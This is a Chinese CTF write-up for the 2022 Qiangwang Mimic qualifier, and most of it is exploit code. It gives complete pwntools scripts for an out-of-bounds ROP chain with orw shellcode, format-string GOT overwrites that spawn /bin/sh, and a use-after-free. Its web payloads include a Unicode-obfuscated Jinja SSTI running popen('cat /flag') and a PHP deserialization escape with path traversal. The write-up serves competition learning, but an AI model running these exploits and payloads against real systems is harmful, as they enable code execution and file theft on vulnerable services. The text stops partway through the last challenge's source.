强网拟态预选赛2022WriteUp

强网拟态预选赛2022WriteUp

0x01 Reverse

comeongo

前面是base58 后面是base64 最后需要爆破

  1. k2 = b"gG00"
  2. c = [  0xDD, 0x8F, 0xA1, 0x64]
  3. k = [0x76,0x47,0x67,0x47]
  5. for i in range(32,127-62):
  6.     for j in range(32,127-30):
  7.         v1 = i+63
  8.         v2 = j+31
  9.         c1 = 2+ v1 +i
  10.         c2 = 3+ v2 +j
  11.         if(c1&0xff == c[2] and c2&0xff == c[3]):
  12.             print(chr(i),chr(j),chr(i+63),chr(j+31))

flag{GoM0bi13_BingGo@G3tItEzForRevG0!}

6470d669e15349795c646c9549ab2f98

0x02 PWN

bfbf

数组下标溢出，单字节leak和修改，沙箱按道理是只限制了read的fd为0和1

image.png

现在有个小问题是system不知道为什么get不了shell，orw尝试close(1)然后开flag的文件描述符到1来读read(1,addr,0x50)也读不进目标地址，有点问题……

更新：

open不能用open64，现在mprotect一个elf上的rwx权限走普通open就能orw

目前的exp：

  1. from pwn import *
  2. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  4. mode = 0
  5. if mode == 1:
  6.     p = process("./pwn")  
  7. else:
  8.     p = remote("ip",port)
  10. def debug():
  11.     gdb.attach(p)
  12.     pause()
  14. # libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
  15. libc = ELF("./libc.so.6")
  17. # gdb.attach(p,'b *(0x555555554000 + 0x1955 )')
  18. # pause()
  20. p.recvuntil("BF_PARSER>>\n")
  21. payload = '>' * (0x218) + '.'
  22. payload += '>' + '.'
  23. payload += '>' + '.'
  24. payload += '>' + '.'
  25. payload += '>' + '.'
  26. payload += '>' + '.'
  27. payload += '<' * 5
  29. payload += '>' * (0x20) + '.'
  30. payload += '>' + '.'
  31. payload += '>' + '.'
  32. payload += '>' + '.'
  33. payload += '>' + '.'
  34. payload += '>' + '.'
  35. payload += '<' * 5
  37. # read /flag
  38. for i in range(6):
  39.     # pop rdi + args
  40.     payload += ',' + '>'
  41.     payload += ',' + '>'
  42.     payload += ',' + '>'
  43.     payload += ',' + '>'
  44.     payload += ',' + '>'
  45.     payload += ',' + '>'
  46.     payload += ',' + '>'
  47.     payload += ',' + '>'
  48. # read
  49. payload += ',' + '>'
  50. payload += ',' + '>'
  51. payload += ',' + '>'
  52. payload += ',' + '>'
  53. payload += ',' + '>'
  54. payload += ',' + '>'
  55. payload += ',' + '>'
  56. payload += ',' + '>'
  58. # close 1
  59. for i in range(2):
  60.     # pop rdi + args
  61.     payload += ',' + '>'
  62.     payload += ',' + '>'
  63.     payload += ',' + '>'
  64.     payload += ',' + '>'
  65.     payload += ',' + '>'
  66.     payload += ',' + '>'
  67.     payload += ',' + '>'
  68.     payload += ',' + '>'
  69. # close
  70. payload += ',' + '>'
  71. payload += ',' + '>'
  72. payload += ',' + '>'
  73. payload += ',' + '>'
  74. payload += ',' + '>'
  75. payload += ',' + '>'
  76. payload += ',' + '>'
  77. payload += ',' + '>'
  79. # mprotect
  80. # pop args
  81. for i in range(6):
  82.     # pop rdi + args
  83.     payload += ',' + '>'
  84.     payload += ',' + '>'
  85.     payload += ',' + '>'
  86.     payload += ',' + '>'
  87.     payload += ',' + '>'
  88.     payload += ',' + '>'
  89.     payload += ',' + '>'
  90.     payload += ',' + '>'
  91. # mprotect
  92. payload += ',' + '>'
  93. payload += ',' + '>'
  94. payload += ',' + '>'
  95. payload += ',' + '>'
  96. payload += ',' + '>'
  97. payload += ',' + '>'
  98. payload += ',' + '>'
  99. payload += ',' + '>'
  101. # ret addr
  102. payload += ',' + '>'
  103. payload += ',' + '>'
  104. payload += ',' + '>'
  105. payload += ',' + '>'
  106. payload += ',' + '>'
  107. payload += ',' + '>'
  108. payload += ',' + '>'
  109. payload += ',' + '>'
  111. p.send(payload)
  113. libc_addr = 0
  114. elf_addr = 0
  116. # leak elf
  117. for i in range(6):
  118.     # pause()
  119.     sleep(0.1)
  120.     lowbit = u64(p.recv(1).ljust(8,b'\x00'))
  121.     elf_addr = elf_addr + ( lowbit << ( i * 8 ) )
  122.     log.info("elf_addr : 0x%x" % elf_addr)
  124. elf_base = elf_addr - 0x1955
  125. bss_addr = elf_base + 0x4000
  126. log.info("elf_base : 0x%x" % elf_base)
  128. # leak
  129. for i in range(6):
  130.     # pause()
  131.     sleep(0.1)
  132.     lowbit = u64(p.recv(1).ljust(8,b'\x00'))
  133.     libc_addr = libc_addr + ( lowbit << ( i * 8 ) )
  134.     log.info("libc_addr : 0x%x" % libc_addr)
  136. libc_base = libc_addr - 243 - libc.symbols['__libc_start_main']
  137. log.info("libc_base : 0x%x" % libc_base)
  139. pop_r12_ret = libc_base + 0x000000000002f709 # : pop r12 ; ret 
  140. pop_rdi_ret = libc_base + 0x0000000000023b6a # : pop rdi ; ret
  141. pop_rsi_ret = libc_base + 0x000000000002601f # : pop rsi ; ret
  142. pop_rdx_ret = libc_base + 0x0000000000142c92 # : pop rdx ; ret
  143. ret = libc_base + 0x0000000000022679 # : ret
  145. bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
  146. system_addr = libc_base + libc.symbols['system']
  147. read_addr = libc_base + libc.symbols['read']
  148. write_addr = libc_base + libc.symbols['write']
  149. open_addr = libc_base + libc.symbols['open']
  150. close_addr = libc_base + libc.symbols['close']
  151. mprotect_addr = libc_base + libc.symbols['mprotect']
  152. log.info("bin_sh_addr : 0x%x" % bin_sh_addr)
  153. log.info("system_addr : 0x%x" % system_addr)
  155. # mprotect
  156. # pop rdi
  157. sleep(0.1)
  158. p.send(p64(pop_rdi_ret))
  159. # addr
  160. sleep(0.1)
  161. p.send(p64(bss_addr))
  162. # pop rsi
  163. sleep(0.1)
  164. p.send(p64(pop_rsi_ret))
  165. # prot
  166. sleep(0.1)
  167. p.send(p64(0x1000))
  168. # pop rdx
  169. sleep(0.1)
  170. p.send(p64(pop_rdx_ret))
  171. # len
  172. sleep(0.1)
  173. p.send(p64(7))
  174. sleep(0.1)
  175. p.send(p64(mprotect_addr))
  177. # read
  178. # pop rdi
  179. sleep(0.1)
  180. p.send(p64(pop_rdi_ret))
  181. # 0
  182. sleep(0.1)
  183. p.send(p64(0))
  184. # pop rsi
  185. sleep(0.1)
  186. p.send(p64(pop_rsi_ret))
  187. # target addr
  188. sleep(0.1)
  189. p.send(p64(bss_addr))
  190. # pop rdx
  191. sleep(0.1)
  192. p.send(p64(pop_rdx_ret))
  193. # len
  194. sleep(0.1)
  195. p.send(p64(0x300))
  196. sleep(0.1)
  197. p.send(p64(read_addr))
  199. # close
  200. # pop rdi
  201. sleep(0.1)
  202. p.send(p64(pop_rdi_ret))
  203. # 1
  204. sleep(0.1)
  205. p.send(p64(1))
  206. sleep(0.1)
  207. p.send(p64(close_addr))
  209. sleep(0.1)
  210. p.send(p64(bss_addr))
  212. # pause()
  213. sleep(0.2)
  214. payload  = asm(shellcraft.open("/flag\x00"))
  215. payload += asm(shellcraft.read(1,bss_addr + 0x500,0x50))
  216. payload += asm(shellcraft.write(2,bss_addr + 0x500,0x50))
  218. p.send(payload)
  220. p.interactive()

写one gadget也不得，不知道为什么，本地gdb调试的界面显示执行了/bin/dash，但是终端哪里寄了，远程显示timeout。看起来好像是execve被ban了，但是沙箱没有写。

  1. from pwn import*
  2. context(log_level='debug',os='linux',arch='amd64')
  3. filename='pwn2'
  4. elf=ELF('./'+filename)
  5. libc=ELF('./libc.so.6')
  6. p=process('./'+filename)
  7. #p=remote('172.51.63.218',9999)
  9. s       = lambda data               :p.send(data)
  10. sl      = lambda data               :p.sendline(data)
  11. r       = lambda num=4096           :p.recv(num)
  12. rl      = lambda num=4096           :p.recvline(num)
  13. ru      = lambda x                  :p.recvuntil(x)
  14. itr     = lambda                    :p.interactive()
  15. uu32    = lambda data               :u32(data.ljust(4,'\x00'))
  16. uu64    = lambda data               :u64(data.ljust(8,'\x00'))
  17. leak    = lambda name,addr          :log.success('{} = {}'.format(name, addr))
  19. def debug(cmd='\n'):
  20.   gdb.attach(p,cmd)
  21.   pause()
  23. ru("BF_PARSER>>\n")
  25. # payload='>'*0x240+'.>'*0x8+'>'*0x20+'.>'*0x8
  26. # s(payload)
  27. # data1=uu64(r(8))
  28. # leak("data",hex(data1))
  29. # data2=uu64(r(8))
  30. # leak("data",hex(data2))
  32. #leak
  33. payload='>'*0x240+'.>'*0x8
  34. payload+='<'*0x10+',>'*0x20
  35. s(payload)
  36. # elfbase=uu64(r(8))-0x1955
  37. # leak("elfbase",hex(elfbase))
  39. sleep(0.4)
  40. libcbase=uu64(r(8))-0x221620
  41. leak("libcbase",hex(libcbase))
  43. #debug()
  44. #overwrite ret
  46. pop_r12=libcbase+0x2f709 #9.8
  47. #pop_r12=libcbase+0x2f739
  48. one_gadget=libcbase+0xe3afe #9.8
  49. #one_gadget=libcbase+0xe3b2e
  50. ret=libcbase+0x22679
  51. leak("pop r12",hex(pop_r12))
  52. leak("one gadget",hex(one_gadget))
  53. payload=p64(ret)+p64(pop_r12)+p64(0)+p64(one_gadget)
  54. for i in range(len(payload)):
  55.   s(payload[i])
  56. # sl("cat flag")
  57. itr()
  59. # 0xe3afe execve("/bin/sh", r15, r12)
  60. # constraints:
  61. #   [r15] == NULL || r15 == NULL
  62. #   [r12] == NULL || r12 == NULL
  64. # 0xe3b01 execve("/bin/sh", r15, rdx)
  65. # constraints:
  66. #   [r15] == NULL || r15 == NULL
  67. #   [rdx] == NULL || rdx == NULL
  69. # 0xe3b04 execve("/bin/sh", rsi, rdx)
  70. # constraints:
  71. #   [rsi] == NULL || rsi == NULL
  72. #   [rdx] == NULL || rdx == NULL

0x03 mimc

pwn1

格式化字符串写print got

  1. from pwn import *
  2. from LibcSearcher import *
  3. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  5. mode = 0
  6. if mode == 1:
  7.     p = process("./pwn1")  
  8. else:
  9.     p = remote("ip",port)
  11. def debug():
  12.     gdb.attach(p)
  13.     pause()
  15. # gdb.attach(p,'b *(0x555555400000 + 0xAE9 )')
  16. # pause()
  18. p.recvuntil("Welcome to mimic world,try something\n")
  19. p.sendline(str(1))
  20. p.recvuntil("You will find some tricks\n")
  21. p.recvuntil("0x")
  22. elf_addr = int(p.recv(12),16)
  23. elf_base = elf_addr - 0xa94
  24. get_shell = elf_base + 0xA2c
  25. system_plt = elf_base + 0x870
  26. system_got = elf_base + 0x202030
  27. printf_got = elf_base + 0x202038
  28. sleep(0.5)
  29. p.sendline(str(2))
  30. p.recvuntil("hello\n")
  32. addr6 = (system_plt >> 8 * 5) &amp; 0xff
  33. addr5 = (system_plt >> 8 * 4) &amp; 0xff
  34. addr4 = (system_plt >> 8 * 3) &amp; 0xff
  35. addr3 = (system_plt >> 8 * 2) &amp; 0xff
  36. addr2 = (system_plt >> 8 * 1) &amp; 0xff
  37. addr1 = (system_plt >> 8 * 0) &amp; 0xff
  39. log.info("addr1 : 0x%x" % addr1)
  40. log.info("addr2 : 0x%x" % addr2)
  41. log.info("addr3 : 0x%x" % addr3)
  42. log.info("addr4 : 0x%x" % addr4)
  43. log.info("addr5 : 0x%x" % addr5)
  44. log.info("addr6 : 0x%x" % addr6)
  46. # addr6
  47. payload = "%" + str(addr6) + "c%18$hhn"
  49. # addr5
  50. if addr5 > addr6:
  51.     payload += "%" +str(addr5 - addr6) + "c%19$hhn"
  52. else:
  53.     payload += "%" +str( 0x100 + addr5 - addr6) + "c%19$hhn"
  55. # addr4
  56. if addr4 > addr5:
  57.     payload += "%" +str(addr4 - addr5) + "c%20$hhn"
  58. else:
  59.     payload += "%" +str( 0x100 + addr4 - addr5) + "c%20$hhn"
  61. # addr3
  62. if addr3 > addr4:
  63.     payload += "%" +str(addr3 - addr4) + "c%21$hhn"
  64. else:
  65.     payload += "%" +str( 0x100 + addr3 - addr4) + "c%21$hhn"
  67. # addr2
  68. if addr2 > addr3:
  69.     payload += "%" +str(addr2 - addr3) + "c%22$hhn"
  70. else:
  71.     payload += "%" +str( 0x100 + addr2 - addr3) + "c%22$hhn"
  73. # addr1
  74. if addr1 > addr2:
  75.     payload += "%" +str(addr1 - addr2) + "c%23$hhn"
  76. else:
  77.     payload += "%" +str( 0x100 + addr1 - addr2) + "c%23$hhn"
  79. log.info("printf_got : 0x%x" % printf_got)
  80. print("len of payload now : " + str(hex(len(payload))))
  82. payload = payload.ljust(0x50, 'a')
  83. payload += p64(printf_got + 5).decode('unicode_escape') 
  84. payload += p64(printf_got + 4).decode('unicode_escape') 
  85. payload += p64(printf_got + 3).decode('unicode_escape') 
  86. payload += p64(printf_got + 2).decode('unicode_escape') 
  87. payload += p64(printf_got + 1).decode('unicode_escape') 
  88. payload += p64(printf_got).decode('unicode_escape')
  90. sleep(0.5)
  91. p.send(payload)
  93. log.info("elf_addr : 0x%x" % elf_addr)
  94. log.info("elf_base : 0x%x" % elf_base)
  95. log.info("system_plt : 0x%x" % system_plt)
  97. sleep(0.1)
  98. payload = '/bin/sh\x00'
  99. p.send(payload)
  100. # debug()
  102. p.interactive()

pwn1-1

pwn1原题ctf，改一下参数直接通

  1. from pwn import *
  2. from LibcSearcher import *
  3. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  5. mode = 0
  6. if mode == 1:
  7.     fang = process("./pwn1_1")  
  8. else:
  9.     fang = remote("172.51.61.218",9999)
  11. def debug():
  12.     gdb.attach(fang)
  13.     pause()
  15. # gdb.attach(fang,'b *(0x555555400000 + 0x1547 )')
  16. # pause()
  18. fang.recvuntil("Welcome to mimic world,try something\n")
  19. fang.sendline(str(1))
  20. fang.recvuntil("You will find some tricks\n")
  21. fang.recvuntil("0x")
  22. elf_addr = int(fang.recv(12),16)
  23. elf_base = elf_addr - 0x12a0
  24. system_plt = elf_base + 0x1040
  25. printf_got = elf_base + 0x4028
  26. log.info("elf_base : 0x%x" % elf_base)
  27. log.info("system_plt : 0x%x" % system_plt)
  28. log.info("printf_got : 0x%x" % printf_got)
  30. sleep(0.5)
  31. fang.sendline(str(2))
  32. fang.recvuntil("hello\n")
  34. addr6 = (system_plt >> 8 * 5) &amp; 0xff
  35. addr5 = (system_plt >> 8 * 4) &amp; 0xff
  36. addr4 = (system_plt >> 8 * 3) &amp; 0xff
  37. addr3 = (system_plt >> 8 * 2) &amp; 0xff
  38. addr2 = (system_plt >> 8 * 1) &amp; 0xff
  39. addr1 = (system_plt >> 8 * 0) &amp; 0xff
  41. log.info("addr1 : 0x%x" % addr1)
  42. log.info("addr2 : 0x%x" % addr2)
  43. log.info("addr3 : 0x%x" % addr3)
  44. log.info("addr4 : 0x%x" % addr4)
  45. log.info("addr5 : 0x%x" % addr5)
  46. log.info("addr6 : 0x%x" % addr6)
  48. # addr6
  49. payload = "%" + str(addr6) + "c%18$hhn"
  51. # addr5
  52. if addr5 > addr6:
  53.     payload += "%" +str(addr5 - addr6) + "c%19$hhn"
  54. else:
  55.     payload += "%" +str( 0x100 + addr5 - addr6) + "c%19$hhn"
  57. # addr4
  58. if addr4 > addr5:
  59.     payload += "%" +str(addr4 - addr5) + "c%20$hhn"
  60. else:
  61.     payload += "%" +str( 0x100 + addr4 - addr5) + "c%20$hhn"
  63. # addr3
  64. if addr3 > addr4:
  65.     payload += "%" +str(addr3 - addr4) + "c%21$hhn"
  66. else:
  67.     payload += "%" +str( 0x100 + addr3 - addr4) + "c%21$hhn"
  69. # addr2
  70. if addr2 > addr3:
  71.     payload += "%" +str(addr2 - addr3) + "c%22$hhn"
  72. else:
  73.     payload += "%" +str( 0x100 + addr2 - addr3) + "c%22$hhn"
  75. # addr1
  76. if addr1 > addr2:
  77.     payload += "%" +str(addr1 - addr2) + "c%23$hhn"
  78. else:
  79.     payload += "%" +str( 0x100 + addr1 - addr2) + "c%23$hhn"
  81. log.info("printf_got : 0x%x" % printf_got)
  82. print("len of payload now : " + str(hex(len(payload))))
  84. payload = payload.ljust(0x50, 'a')
  85. payload += p64(printf_got + 5).decode('unicode_escape') 
  86. payload += p64(printf_got + 4).decode('unicode_escape') 
  87. payload += p64(printf_got + 3).decode('unicode_escape') 
  88. payload += p64(printf_got + 2).decode('unicode_escape') 
  89. payload += p64(printf_got + 1).decode('unicode_escape') 
  90. payload += p64(printf_got).decode('unicode_escape')
  92. sleep(0.5)
  93. fang.send(payload)
  95. log.info("elf_addr : 0x%x" % elf_addr)
  96. log.info("elf_base : 0x%x" % elf_base)
  97. log.info("system_plt : 0x%x" % system_plt)
  99. pause()
  100. payload = '/bin/sh\x00'
  101. fang.send(payload)
  102. # debug()
  104. fang.interactive()

pwn2-1

简单的堆，UAF加上一点风水，把函数指针改成后门magic()。

  1. struct note
  2. {
  3.     _QWORD* ptr=&amp;print_note_content;
  4.     _QWORD* content=malloc(size);
  5. }
  1. from pwn import*
  2. context(log_level='debug',os='linux',arch='amd64')
  3. filename='pwn2'
  4. elf=ELF('./'+filename)
  5. #libc=ELF('')
  6. #p=process('./'+filename)
  7. p=remote('',9999)
  9. s       = lambda data               :p.send(data)
  10. sl      = lambda data               :p.sendline(data)
  11. r       = lambda num=4096           :p.recv(num)
  12. rl      = lambda num=4096           :p.recvline(num)
  13. ru      = lambda x                  :p.recvuntil(x)
  14. itr     = lambda                    :p.interactive()
  15. uu32    = lambda data               :u32(data.ljust(4,'\x00'))
  16. uu64    = lambda data               :u64(data.ljust(8,'\x00'))
  17. leak    = lambda name,addr          :log.success('{} = {}'.format(name, addr))
  19. def debug(cmd='\n'):
  20.   gdb.attach(p,cmd)
  21.   pause()
  23. def add(size,content):
  24.   ru("Your choice :")
  25.   sl('1')
  26.   ru("Note size :")
  27.   sl(str(size))
  28.   ru("Content :")
  29.   s(content)
  31. def delete(idx):
  32.   ru("Your choice :")
  33.   sl('2')
  34.   ru("Index :")
  35.   sl(str(idx))
  37. def show(idx):  
  38.   ru("Your choice :")
  39.   sl('3')
  40.   ru("Index :")
  41.   sl(str(idx))
  43. #get tips
  44. ru("Your choice :")
  45. sl('5')
  46. ru("let us give you some tips\n")
  47. elfbase=int(ru('\n')[2:-1],16)-0x11f0
  48. leak("elf base",hex(elfbase))
  49. backdoor=elfbase+0x1b70
  51. #debug()
  53. #can double free
  55. add(0x10,'a'*0x8)#0
  56. add(0x10,'b'*0x8)#1
  57. add(0x10,'c'*0x8)#2
  59. delete(0)
  60. delete(1)
  62. #1h->1c->0h->0c
  64. add(0x20,'d'*0x8)#3
  65. add(0x10,p64(backdoor))#4
  67. #3=1h->new
  68. #4=1c->0h
  70. #debug()
  71. show(0)
  73. itr()

web-mimc

  1. <!--
  2.      NTLM:3dbde697d71690a769204beb12283678
  3.      encrypt word:c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf8aca554158b6d943c984681049be1a1368b2331cbe151ae1bce049f893bfbafebe6b6c5cf2d2d8136caec5f7171f00afd77c73de693878e0adebb72c6b0c2f5ff6a339616e87e1275e06a8f0d7faa0ff04ce1c5f1403500f17bf1ae06e2d6417ffbe262270c6370a764de313fcc33ba0081dd631d31a3b876a5478545021b839
  4. -->

NTLM hash

image.png

  1. #des decrypt
  3. def des_Decrypt(key,data):
  4.     from Crypto.Cipher import DES
  6.     des = DES.new(key, DES.MODE_ECB, )
  7.     text = des.decrypt(data)
  8.     return text
  10. c = bytes.fromhex("c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf8aca554158b6d943c984681049be1a1368b2331cbe151ae1bce049f893bfbafebe6b6c5cf2d2d8136caec5f7171f00afd77c73de693878e0adebb72c6b0c2f5ff6a339616e87e1275e06a8f0d7faa0ff04ce1c5f1403500f17bf1ae06e2d6417ffbe262270c6370a764de313fcc33ba0081dd631d31a3b876a5478545021b839")
  12. k = bytes.fromhex("3dbde697d71690a769204beb12283678")
  14. k = b"123\x00\x00\x00\x00\x00"
  16. print(des_Decrypt(k,c))

解密得：

  1. 1.maybe used first url get random:
  2. /mimic_storage
  4. 2.maybe used second url get flag:
  5. /getflag?sec=random&amp;path=xxxx
  7. xxx is:
  8. bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

image.png

0x04 Web

EZpy

存在模板注入

image.png

大小写转换，存在unicode绕过，直接shift+空格快速开启全角和半角的转换，使用unicode绕过，找到132的位置是os.__wrap__close ，然后把正常payload换成全角即可，也可以使用下面的脚本生成字符：

  1. ().__ᶜˡᵃˢˢ__.__ᵇᵃˢᵉˢ__[0].__ˢᵘᵇᶜˡᵃˢˢᵉˢ__()
  2. 编码生成
  3. import zhconv
  4. from unicodedata import normalize
  6. for i in range(1,50000):
  7.     a=zhconv.convert(normalize('NFKD', chr(i)), 'zh-hant')
  8.     if a in "a":
  9.         print(chr(i))
  1. {{().__ᶜˡᵃˢˢ__.__ᵇᵃˢᵉˢ__[0].__ˢᵘᵇᶜˡᵃˢˢᵉˢ__()[213]}} #warnings.catch_warning
  3. {{''.__ｃｌａｓｓ__.__ｂａｓｅｓ__[0].__ｓｕｂｃｌａｓｓｅｓ__()[132].__ｉｎｉｔ__.__ｇｌｏｂａｌｓ__['ｐｏｐｅｎ']('ｃａｔ　／ｆｌａｇ').ｒｅａｄ()}}

ezus

  1. <?php
  2. include 'tm.php'; // Next step in tm.php
  3. if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
  4. {
  5.     exit("no way!");
  6. }
  7. if (isset($_GET['source']))
  8. {
  9.     $path = basename($_SERVER['PHP_SELF']);
  10.     if (!preg_match('/tm.php$/', $path) &amp;&amp; !preg_match('/index.php$/', $path))
  11.     {
  12.         exit("nonono!");
  13.     }
  14.     highlight_file($path);
  15.     exit();
  16. }
  17. ?>
  18. <a href="index.php?source">source</a>

部分知识点之前考过：https://blog.csdn.net/mochu7777777/article/details/127216646

  1. /index.php/tm.php/%88?source

拿到源码：

  1. <?php
  2. class UserAccount
  3. {
  4.     protected $username;
  5.     protected $password;
  7.     public function __construct($username, $password)
  8.     {
  9.         $this->username = $username;
  10.         $this->password = $password;
  11.     }
  12. }
  14. function object_sleep($str)
  15. {
  16.     $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
  17.     return $ob;
  18. }
  20. function object_weakup($ob)
  21. {
  22.     $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
  23.     return $r;
  24. }
  26. class order
  27. {
  28.     public $f;
  29.     public $hint;
  31.     public function __construct($hint, $f)
  32.     {
  33.         $this->f = $f;
  34.         $this->hint = $hint;
  35.     }
  37.     public function __wakeup()
  38.     {
  39.         //something in hint.php
  40.         if ($this->hint != "pass" || $this->f != "pass") {
  41.             $this->hint = "pass";
  42.             $this->f = "pass";
  43.         }
  44.     }
  46.     public function __destruct()
  47.     {
  48.         if (filter_var($this->hint, FILTER_VALIDATE_URL))
  49.         {
  50.             $r = parse_url($this->hint);
  51.             if (!empty($this->f)) {
  52.                 if (strpos($this->f, "try") !==  false &amp;&amp; strpos($this->f, "pass") !== false) {
  53.                     @include($this->f . '.php');
  54.                 } else {
  55.                     die("try again!");
  56.                 }
  57.                 if (preg_match('/prankhub$/', $r['host'])) {
  58.                     @$out = file_get_contents($this->hint);
  59.                     echo "<br/>".$out;
  60.                 } else {
  61.                     die("<br/>error");
  62.                 }
  63.             } else {
  64.                 die("try it!");
  65.             }
  66.         }
  67.         else
  68.         {
  69.             echo "Invalid URL";
  70.         }
  71.     }
  72. }
  74. $username = $_POST['username'];
  75. $password = $_POST['password'];
  77. $user = serialize(new UserAccount($username, $password));
  78. unserialize(object_weakup(object_sleep($user)))
  79. ?>

一看就是反序列化字符串逃逸：

现在本地测试，测试过程如下：

  1. <?php
  2. class UserAccount
  3. {
  4.     protected $username;
  5.     protected $password;
  7.     public function __construct($username, $password)
  8.     {
  9.         $this->username = $username;
  10.         $this->password = $password;
  11.     }
  12. }
  14. class order
  15. {
  16.     public $f;
  17.     public $hint;
  19.     public function __construct($f, $hint)
  20.     {
  21.         $this->f = $f;
  22.         $this->hint = $hint;
  23.     }
  25. //    public function __wakeup()
  26. //    {
  27. //        //something in hint.php
  28. //        if ($this->hint != "pass" || $this->f != "pass") {
  29. //            $this->hint = "pass";
  30. //            $this->f = "pass";
  31. //        }
  32. //    }
  34.     public function __destruct()
  35.     {
  36.         if (filter_var($this->hint, FILTER_VALIDATE_URL))
  37.         {
  38.             $r = parse_url($this->hint);
  39.             if (!empty($this->f)) {
  40.                 if (strpos($this->f, "try") !==  false &amp;&amp; strpos($this->f, "pass") !== false) {
  41.                     @include($this->f . '.php');
  42.                 } else {
  43.                     die("try again!");
  44.                 }
  45.                 if (preg_match('/prankhub$/', $r['host'])) {
  46.                     @$out = file_get_contents($this->hint);
  47.                     echo "<br/>".$out;
  48.                 } else {
  49.                     die("<br/>error");
  50.                 }
  51.             } else {
  52.                 die("try it!");
  53.             }
  54.         }
  55.         else
  56.         {
  57.             echo "Invalid URL";
  58.         }
  59.     }
  60. }
  61. function object_sleep($str)
  62. {
  63.     $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
  64.     return $ob;
  65. }
  67. function object_weakup($ob)
  68. {
  69.     $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
  70.     return $r;
  71. }
  72. //echo urlencode(serialize(new order("trypass","mochu7://prankhub/../../../../../../../etc/passwd")))."\n";
  73. echo serialize(new order("trypass","mochu7://prankhub/../../../../../../../f1111444449999.txt"))."\n";
  74. //$username=serialize(new order("trypass","mochu7://prankhub/../../../../../../../etc/passwd"));
  75. $username="@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
  76. //echo $username."\n";
  77. //$password="1231231231231\";s:11:\"\x00*\x00password\";s:16:\"1231231231231\";}";
  78. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:44:\"a://prankhub/../../../../../../../etc/passwd\";s:4:\"hint\";s:7:\"trypass\";}}";
  79. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:49:\"v1nd11://prankhub/../../../../../../../etc/passwd\";}}";
  80. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:60:\"v1nd11://prankhub/../../../../../../../var/www/html/hint.php\";}}";
  81. $password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:57:\"v1nd11://prankhub/../../../../../../../f1111444449999.txt\";}}";
  82. $user = serialize(new UserAccount($username, $password));
  83. echo $user."\n";
  84. $huan=object_weakup(object_sleep($user));
  85. echo $huan."\n";
  87. $u="123";
  88. $p=new order("123","123");
  89. echo serialize(new UserAccount($u,$p))."\n";
  91. $user=unserialize(object_weakup(object_sleep($user)));
  92. var_dump($user);
  94. $test=object_sleep(object_weakup("@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@"));
  95. //echo $test."\n";
  97. //username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&amp;password=11";s:3:"123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:70:"php://filter/read=convert.base64-encode/resource=./try/pass/../../hint";s:4:"hint";s:50:"a://@prankhub/../../../../../../f1111444449999.txt";}}

最终payload：

  1. username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&amp;password=123123123123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"v1nd11://prankhub/../../../../../../../f1111444449999.txt";}}

image.png

WHOYOUARE

关键源码：

user.js

  1. const merge = require('../utils/merge')
  2. const bin = "/bin/bash"
  3. const ChildProcess = require('child_process');
  5. function checkUser(command){
  6.     if (Array.isArray(command) === false || command.length > 2) {
  7.         return false;
  8.     }
  9.     for (let i = 0; i < command.length; i++) {
  10.         let cmd = command[i];
  11.         console.log("R: "+RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i]));
  12.         console.log("cmd: "+cmd);
  13.         if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
  14.             return false;
  15.         }
  16.     }
  17.     console.log("true");
  18.     return true;
  19. }
  21. async function routes (fastify, options) {
  22.     fastify.route(
  23.         {
  24.             method: 'POST',
  25.             url: '/user',
  26.             schema: {
  27.                 querystring: {
  28.                     user: { type: 'string' },
  29.                 },
  30.                 additionalProperties: false,
  31.                 response: {
  32.                     200: {
  33.                         $ref: 'respWrapper#/response/success'
  34.                     }
  35.                 }
  36.             },
  37.             preHandler: function (request, reply, done) {
  38.                 //user init
  39.                 request.user = {username : 'guest', command: ["-c", "id"]}
  40.                 let user = JSON.parse(request.body.user)
  41.                 // clean user command
  42.                 if (checkUser(user.command) !== true) {
  43.                     user.command = ["-c", "id"]
  44.                 }
  45.                 try {
  46.                     merge(request.user, user)
  47.                 }catch (e){
  48.                     reply.code(400).send({status: 1, info: "Something error"})
  49.                     return ;
  50.                 }
  51.                 done()
  52.             },
  54.             handler : function (request, reply) {
  55.                 ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
  56.                     if (error) {
  57.                         reply.code(400).send({status: 1, info: error})
  58.                     }
  59.                     reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
  60.                 });
  61.             }
  62.         })
  63.     fastify.route({
  64.         method: 'GET',
  65.         url: '/',
  66.         response: {
  67.             $ref: 'respWrapper#/response/success'
  68.         },
  69.         handler: function (request, reply) {
